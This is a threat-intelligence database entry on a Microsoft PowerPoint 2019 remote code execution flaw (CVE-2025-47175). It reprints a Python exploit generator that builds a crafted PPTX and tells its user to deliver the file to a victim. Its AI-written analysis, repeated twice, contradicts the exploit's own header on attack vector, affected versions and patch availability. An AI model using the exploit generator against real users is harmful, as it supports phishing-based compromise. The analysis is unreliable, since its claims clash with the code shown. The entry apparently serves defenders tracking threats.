Microsoft PowerPoint 2019 - Remote Code Execution (RCE)
Microsoft PowerPoint 2019 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The identified security threat pertains to a Remote Code Execution (RCE) vulnerability in Microsoft PowerPoint 2019. RCE vulnerabilities allow an attacker to execute arbitrary code on a victim's system remotely, often without requiring authentication or user interaction beyond opening a malicious file. Although specific technical details about the vulnerability are limited, the presence of exploit code written in Python indicates that the exploit can be automated and potentially weaponized for widespread attacks. PowerPoint files are commonly shared and opened in business environments, making this vulnerability particularly dangerous. An attacker could craft a malicious PowerPoint file that, when opened by a user, triggers the vulnerability and executes arbitrary code with the privileges of the user running the application. This could lead to full system compromise, data theft, installation of malware, or lateral movement within a network. The lack of affected version details suggests that the vulnerability might impact all or most installations of PowerPoint 2019, increasing the scope of risk. The absence of patch links indicates that a fix may not yet be publicly available, heightening the urgency for mitigation.
Potential Impact
For European organizations, this RCE vulnerability in PowerPoint 2019 poses a significant risk due to the widespread use of Microsoft Office products across industries including finance, healthcare, government, and critical infrastructure. Successful exploitation could lead to unauthorized access to sensitive data, disruption of business operations, and potential regulatory non-compliance under GDPR due to data breaches. The ability to execute code remotely without user authentication means attackers could leverage phishing campaigns or malicious document distribution to compromise endpoints. This could facilitate ransomware deployment, espionage, or sabotage, particularly impacting organizations with high-value intellectual property or critical services. The threat is exacerbated in environments where PowerPoint files are frequently exchanged internally and externally, increasing the attack surface. Additionally, the lack of a current patch means organizations must rely on interim mitigations, increasing operational risk.
Mitigation Recommendations
Given the absence of an official patch, European organizations should implement a multi-layered defense strategy. First, enforce strict email filtering and attachment scanning to detect and block malicious PowerPoint files. Employ sandboxing solutions to open and analyze documents in isolated environments before delivery to end users. Educate users to be cautious with unsolicited or unexpected PowerPoint files, especially from unknown senders. Disable or restrict macros and embedded content in PowerPoint through Group Policy or Office configuration settings. Utilize endpoint detection and response (EDR) tools to monitor for suspicious process behavior indicative of exploitation attempts. Network segmentation and least privilege principles should be enforced to limit lateral movement if a system is compromised. Regularly back up critical data and verify recovery procedures to mitigate ransomware risks. Finally, monitor vendor communications closely for the release of official patches and apply them promptly once available.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Belgium, Sweden, Poland, Ireland
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Microsoft PowerPoint 2019 - Remote Code Execution (RCE) # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-07-02 # Tested on: Microsoft PowerPoint 2019 / Office 365 (version before June 2025 Patch) # CVE: CVE-2025-47175 # Type: Use-After-Free (UAF) Remote Code Execution (local user required) # Platform: Windows (PowerPoint) # Author Country: Jordan # Attack Vector: Local (User must open crafted PPTX file) # Description: # This exploit leverages a Use-After-Free vulnerability in Microsoft PowerPoint # allowing an attacker to execute arbitrary code by tricking a user into opening # a specially crafted PPTX file. This PoC generates such a malicious PPTX file # designed to trigger the UAF condition. # # Steps of exploitation: # 1. Run this script to generate the malicious PPTX file. # 2. Send or trick the target user to open this file in a vulnerable PowerPoint version. # 3. Exploit triggers upon opening the file, leading to possible code execution. # # Note: This PoC creates a simplified PPTX file structure with crafted XML designed # to trigger the vulnerability. For a full exploit, further memory manipulation and shellcode injection # are required (not included here). # # Affected Versions: # Microsoft PowerPoint versions prior to June 2025 patch (KB5002689) # # Usage: # python3 exploit_cve2025_47175.py [options] # # Options: # -o, --output Output PPTX filename (default: exploit_cve_2025_47175.pptx) # -i, --id Shape ID (default: 1234) # -n, --name Shape Name (default: MaliciousShape) # -t, --text Trigger text inside the slide (default: explanation message) # # Example: # python3 exploit_cve2025_47175.py -o evil.pptx -i 5678 -n "BadShape" -t "Triggering CVE-2025-47175 now!" import zipfile import sys import argparse def create_exploit_pptx(filename, shape_id, shape_name, trigger_text): slide_xml = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"> <p:cSld> <p:spTree> <p:sp> <p:nvSpPr> <p:cNvPr id="{shape_id}" name="{shape_name}"/> <p:cNvSpPr/> <p:nvPr/> </p:nvSpPr> <p:spPr/> <p:txBody> <a:bodyPr/> <a:lstStyle/> <a:p> <a:r> <a:t>{trigger_text}</a:t> </a:r> </a:p> </p:txBody> </p:sp> </p:spTree> </p:cSld> </p:sld>''' try: with zipfile.ZipFile(filename, 'w') as z: z.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/> </Types>''') z.writestr('ppt/_rels/presentation.xml.rels', '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/> </Relationships>''') z.writestr('ppt/presentation.xml', '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <p:presentation xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"> <p:sldIdLst> <p:sldId id="256" r:id="rId1"/> </p:sldIdLst> <p:sldSz cx="9144000" cy="6858000" type="screen4x3"/> </p:presentation>''') z.writestr('ppt/slides/slide1.xml', slide_xml) print(f"[+] Malicious PPTX file '{filename}' created successfully.") print("[*] Deliver this file to the victim and wait for them to open it in vulnerable PowerPoint.") except Exception as e: print(f"[-] Error: {e}", file=sys.stderr) sys.exit(1) def main(): parser = argparse.ArgumentParser(description='Exploit generator for CVE-2025-47175 (PowerPoint UAF)') parser.add_argument('-o', '--output', type=str, default='exploit_cve_2025_47175.pptx', help='Output PPTX filename (default: exploit_cve_2025_47175.pptx)') parser.add_argument('-i', '--id', type=int, default=1234, help='Shape ID (default: 1234)') parser.add_argument('-n', '--name', type=str, default='MaliciousShape', help='Shape Name (default: MaliciousShape)') parser.add_argument('-t', '--text', type=str, default='This content triggers CVE-2025-47175 UAF vulnerability.', help='Trigger text inside the slide (default: explanation message)') args = parser.parse_args() create_exploit_pptx(args.output, args.id, args.name, args.text) if __name__ == "__main__": main()
Microsoft PowerPoint 2019 - Remote Code Execution (RCE)
Description
Microsoft PowerPoint 2019 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The identified security threat pertains to a Remote Code Execution (RCE) vulnerability in Microsoft PowerPoint 2019. RCE vulnerabilities allow an attacker to execute arbitrary code on a victim's system remotely, often without requiring authentication or user interaction beyond opening a malicious file. Although specific technical details about the vulnerability are limited, the presence of exploit code written in Python indicates that the exploit can be automated and potentially weaponized for widespread attacks. PowerPoint files are commonly shared and opened in business environments, making this vulnerability particularly dangerous. An attacker could craft a malicious PowerPoint file that, when opened by a user, triggers the vulnerability and executes arbitrary code with the privileges of the user running the application. This could lead to full system compromise, data theft, installation of malware, or lateral movement within a network. The lack of affected version details suggests that the vulnerability might impact all or most installations of PowerPoint 2019, increasing the scope of risk. The absence of patch links indicates that a fix may not yet be publicly available, heightening the urgency for mitigation.
Potential Impact
For European organizations, this RCE vulnerability in PowerPoint 2019 poses a significant risk due to the widespread use of Microsoft Office products across industries including finance, healthcare, government, and critical infrastructure. Successful exploitation could lead to unauthorized access to sensitive data, disruption of business operations, and potential regulatory non-compliance under GDPR due to data breaches. The ability to execute code remotely without user authentication means attackers could leverage phishing campaigns or malicious document distribution to compromise endpoints. This could facilitate ransomware deployment, espionage, or sabotage, particularly impacting organizations with high-value intellectual property or critical services. The threat is exacerbated in environments where PowerPoint files are frequently exchanged internally and externally, increasing the attack surface. Additionally, the lack of a current patch means organizations must rely on interim mitigations, increasing operational risk.
Mitigation Recommendations
Given the absence of an official patch, European organizations should implement a multi-layered defense strategy. First, enforce strict email filtering and attachment scanning to detect and block malicious PowerPoint files. Employ sandboxing solutions to open and analyze documents in isolated environments before delivery to end users. Educate users to be cautious with unsolicited or unexpected PowerPoint files, especially from unknown senders. Disable or restrict macros and embedded content in PowerPoint through Group Policy or Office configuration settings. Utilize endpoint detection and response (EDR) tools to monitor for suspicious process behavior indicative of exploitation attempts. Network segmentation and least privilege principles should be enforced to limit lateral movement if a system is compromised. Regularly back up critical data and verify recovery procedures to mitigate ransomware risks. Finally, monitor vendor communications closely for the release of official patches and apply them promptly once available.
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Technical Details
- Edb Id
- 52351
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Microsoft PowerPoint 2019 - Remote Code Execution (RCE)
#!/usr/bin/env python3 # Exploit Title: Microsoft PowerPoint 2019 - Remote Code Execution (RCE) # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-07-02 # Tested on: Microsoft PowerPoint 2019 / Office 365 (version before June 2025 Patch) # CVE: CVE-2025-47175 # Type: Use-After-Free (UAF) Remote Code Execution (local user required) # Platform: Windows (PowerPoint) # Author Country: Jordan # Attack Vector: Local (User must open cr... (4747 more characters)
Threat ID: 686e74f66f40f0eb72042df7
Added to database: 7/9/2025, 1:56:06 PM
Last enriched: 7/16/2025, 9:22:13 PM
Last updated: 8/20/2025, 8:59:40 PM
Views: 44
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